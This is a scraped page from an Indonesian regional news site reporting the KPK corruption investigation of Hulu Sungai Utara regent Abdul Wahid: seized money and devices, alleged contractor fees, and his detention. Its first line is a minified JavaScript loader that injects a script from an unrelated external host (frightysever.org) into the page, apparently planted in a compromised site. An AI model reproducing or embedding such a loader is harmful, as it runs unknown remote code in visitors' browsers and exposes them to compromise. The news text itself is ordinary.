(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Penyidik Komisi Pemberantasan Korupsi (KPK) menyita sejumlah uang hingga alat elektronik dalam perkara suap dan gratifikasi yang telah menjerat Bupati Hulu Sungai Utara (HSU) Abdul Wahid sebagai tersangka.
Barang sitaan itu ditemukan dalam penggeledahan di kediaman Sekretaris Daerah (Sekda) Kabupaten HSU yang terletak di Kelurahan Paliwara, Kecamatan Amuntai Tengah.
Aset yang dimiliki Bupati Wahid dikabarkan telah disita KPK. Sebuah mobil Honda CRV warna hitam kekinian telah disegel KPK, dan dititipkan di Mapolres HSU.
KPK juga memeriksa Ketua DPRD HSU dari Fraksi Golkar, Almien Safari Ashar -anak Bupati Abdul Wahid-, Sekda HSU Muhammad Taufik -adik kandung-, serta beberapa ASN di lingkungan Dinas PUPR HSU.
“Dari lokasi ditemukan dan diamankan bukti antara lain berupa sejumlah uang, berbagai dokumen dan alat elektronik yang diduga kuat terkait dengan perkara,” kata Plt Juru Bicara KPK Ali Fikri dikonfirmasi Suara.com -jaringan Kanalkalimantan.com, Senin (22/11/2021).
Ali mengatakan, barang bukti akan dilakukan analisa oleh penyidik. Hal itu dilakukan sebelum proses penyitaan dan dihadirkan dalam persidangan untuk melengkapi berkas penyidikan tersangka Abdul Wahid.
Dari kontruksi kasus yang menjerat Abdul Wahid, bahwa ia diduga kuat meminta fee mencapai 10 persen kepada pihak-pihak kontraktor yang ingin mengerjakan proyek di Kabupaten Hulu Sungai Utara.
Baca juga: TERKUAK. Ini Dana yang “Mengalir” ke Bupati Wahid pada Kasus Korupsi di HSU
Salah satunya, Abdul Wahid mendapatkan uang suap dari perantara Plt Kadis PUPR HSU, Maliki yang juga sudah ditetapkan sebagai tersangka. Ketua KPK Firli Bahuri merinci sejumlah uang yang didapatkan oleh Abdul Wahid.
Pertama, penerimaan uang Abdul Wahid melalui dari pihak kontraktor yakni MRH dan FH mencapai Rp 500 juta, melalui Maliki. Kemudian, pada tahun 2019 senilai Rp 4,6 miliar, tahun 2020 sejumlah sekitar Rp 12 miliar dan pada tahun 2021 sebesar Rp 1,8 miliar
Selama proses penyidikan itu, kata Firli, KPK sudah menyita sejumlah uang tersebut sebagai barang bukti. Namun, kata Filri, KPK masih menghitung lagi karena ada juga pemberian kepada Abdul dari mata uang asing.
“Sejumlah uang dalam bentuk tunai dengan pecahan mata uang rupiah dan juga mata uang asing yang hingga saat ini masih terus dilakukan penghitungan jumlahnya,” kata Firli dalam konferensi pers di Gedung Merah Putih KPK, Kuningan, Jakarta Selatan pada Kamis (18/11/2021) kemarin.
Baca juga : KPK Sebut Bupati Wahid Diduga Terima Fee dari Beberapa Proyek
Untuk proses penyidikan lebih lanjut, kata Firli, Abdul Wahid akan langsung dilakukan penahanan selama 20 hari pertama. Mulai tanggal 18 November sampai 7 Desember 2021.
Abdul akan mendekam di rumah tahanan KPK pada Gedung Merah Putih.
“Sebagai langkah antisipasi penyebaran Covid-19 di lingkungan Rutan KPK, tersangka akan menjalani isolasi mandiri selama 14 hari pada Rutan tersebut,” katanya.
Dalam kasus ini Abdul Wahid disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 dan Pasal 12 B Undang-Undang Nomor 31 Tahun 1999.
Baca juga : Jadi Tersangka KPK, Ini Harta Kekayaan Bupati Wahid
Tim Penyidik KPK Pakai Ruang Pemeriksaan Polres HSU
Sementara itu, Kapolres HSU AKBP Afri Darmawan memastikan peminjaman ruang pemeriksaan di Mapolres akan berlangsung selama sepekan, terhitung sejak Jumat (19/11/2021) hingga Jumat (26/11/2021).
“KPK juga meminta pengawalan empat personel Polres HSU saat menggeledah Rumah Jabatan Bupati HSU di Jalan Norman Umar, Kelurahan Murung Sari,” kata Afri Darmawan kepada awak media di Amuntai pada Jumat (19/11/2021).
Ia memastikan personel Polres HSU siap melakukan pengawalan dan pengamanan selama KPK berada di Amuntai untuk memeriksa sedikitnya 10 saksi terkait kasus operasi tangkap tangan (OTT) serta penetapan Bupati Wahid sebagai tersangka.
“Tim KPK yang datang ke Amuntai kurang lebih 10 orang. Mereka mengagendakan memeriksa sejumlah saksi terkait kasus yang ditanganinya,” katanya. (Suara.com/Kanalkalimantan.com)
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.